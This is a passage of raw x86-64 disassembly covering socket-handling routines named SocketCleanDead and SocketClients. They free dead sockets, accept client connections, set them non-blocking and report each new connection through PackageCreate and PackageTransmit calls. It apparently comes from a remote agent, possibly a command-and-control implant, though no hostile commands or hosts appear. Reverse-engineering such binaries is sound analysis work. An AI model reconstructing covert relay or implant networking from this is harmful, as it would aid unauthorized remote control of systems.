14001ca0emov esi, eax
14001ca10mov eax, ecx
14001ca12div esi
14001ca14mov edi, edx
14001ca16call RandomBool
14001ca1btest eax, eax
14001ca1dje 0x14001ca23
14001ca1fadd ebx, edi
14001ca21jmp 0x14001ca25
14001ca23
14001ca23loc_14001ca23:
14001ca23sub ebx, edi
14001ca25
14001ca25loc_14001ca25:
14001ca25add rsp, 48
14001ca29mov eax, ebx
14001ca2bpop rbx
14001ca2cpop rsi
14001ca2dpop rdi
14001ca2epop rbp
14001ca2fpop r12
14001ca31ret
14001c930

14001ca32
14001ca32 // align 0x10

14001ca40
14001ca40SocketCleanDead:
14001ca40push rsi
14001ca41push rbx
14001ca42xor ebx, ebx
14001ca44sub rsp, 40
14001ca48mov rsi, [rip+63777]
14001ca4fmov rcx, [rsi+2326]
14001ca56
14001ca56loc_14001ca56:
14001ca56test rcx, rcx
14001ca59je 0x14001caa0
14001ca5bmov edx, [rcx+16]
14001ca5emov rax, [rcx+48]
14001ca62sub edx, 4
14001ca65cmp edx, 1
14001ca68jbe 0x14001ca72
14001ca6a
14001ca6aloc_14001ca6a:
14001ca6amov rbx, rcx
14001ca6dmov rcx, rax
14001ca70jmp 0x14001ca56
14001ca72
14001ca72loc_14001ca72:
14001ca72test rbx, rbx
14001ca75jne 0x14001ca8e
14001ca77mov [rsi+2326], rax
14001ca7ecall SocketFree
14001ca83mov rax, [rsi+2326]
14001ca8axor ecx, ecx
14001ca8cjmp 0x14001ca6a
14001ca8e
14001ca8eloc_14001ca8e:
14001ca8emov [rbx+48], rax
14001ca92call SocketFree
14001ca97mov rax, [rbx+48]
14001ca9bmov rcx, rbx
14001ca9ejmp 0x14001ca6a
14001caa0
14001caa0loc_14001caa0:
14001caa0add rsp, 40
14001caa4pop rbx
14001caa5pop rsi
14001caa6ret
14001ca40

14001caa7
14001caa7 // align 0x10

14001cab0
14001cab0SocketClients:
14001cab0push r14
14001cab2push r13
14001cab4push r12
14001cab6lea r12, [rip+50454]
14001cabdpush rbp
14001cabelea rbp, [rip+0x1069b]
14001cac5push rdi
14001cac6push rsi
14001cac7push rbx
14001cac8sub rsp, 80
14001caccmov rdi, [rip+63645]
14001cad3mov [rsp+76], 1
14001cadblea r13, [rsp+76]
14001cae0mov rbx, [rdi+2326]
14001cae7
14001cae7loc_14001cae7:
14001cae7test rbx, rbx
14001caeaje 0x14001cc00
14001caf0cmp [rbx+16], 1
14001caf4jne 0x14001cbf7
14001cafamov rcx, [rbx+8]
14001cafexor r8l, r8l
14001cb01xor edx, edx
14001cb03call [rdi+1900]
14001cb09mov rsi, rax
14001cb0ccmp rax, -1
14001cb10je 0x14001cbf7
14001cb16mov r9, rax
14001cb19mov r8l, 242
14001cb1fmov rdx, rbp
14001cb22mov rcx, r12
14001cb25call printf
14001cb2amov r8, r13
14001cb2dmov edx, 0xffffffff8004667e
14001cb32mov rcx, rsi
14001cb35call [rdi+1876]
14001cb3binc eax
14001cb3dje 0x14001cbce
14001cb43mov eax, [rbx+40]
14001cb46mov r8l, [rbx+20]
14001cb4axor r9l, r9l
14001cb4dmov edx, 3
14001cb52mov rcx, rsi
14001cb55mov [rsp+48], eax
14001cb59mov eax, [rbx+36]
14001cb5cmov [rsp+40], eax
14001cb60mov eax, [rbx+32]
14001cb63mov [rsp+32], eax
14001cb67call SocketNew
14001cb6cmov ecx, 2540
14001cb71mov r14, rax
14001cb74call PackageCreate
14001cb79mov edx, 16
14001cb7emov rcx, rax
14001cb81mov rsi, rax
14001cb84call PackageAddInt32
14001cb89mov edx, [r14]
14001cb8cmov rcx, rsi
14001cb8fcall PackageAddInt32
14001cb94mov edx, [r14+20]
14001cb98mov rcx, rsi
14001cb9bcall PackageAddInt32
14001cba0mov edx, [r14+32]
14001cba4mov rcx, rsi
14001cba7call PackageAddInt32
14001cbacmov edx, [r14+36]
14001cbb0mov rcx, rsi
14001cbb3call PackageAddInt32
14001cbb8mov edx, [r14+40]
14001cbbcmov rcx, rsi
14001cbbfcall PackageAddInt32
14001cbc4mov rcx, rsi
14001cbc7call PackageTransmit
14001cbccjmp 0x14001cbf7
14001cbce
14001cbceloc_14001cbce:
14001cbcemov rax, [rdi+2230]
14001cbd5lea rcx, [rip+49981]
14001cbdcmov r8l, 271
14001cbe2mov rdx, rbp
14001cbe5mov r9l, [rax+104]
14001cbe9call printf
14001cbeemov rcx, rsi
14001cbf1call [rdi+1908]
14001cbf7
14001cbf7loc_14001cbf7:
14001cbf7mov rbx, [rbx+48]
14001cbfbjmp 0x14001cae7
14001cc00
14001cc00loc_14001cc00:
14001cc00add rsp, 80
14001cc04pop rbx
14001cc05pop rsi
14001cc06pop rdi
14001cc07pop rbp
14001cc08pop r12
14001cc0apop r13
14001cc0cpop r14
14001cc0eret
14001cab0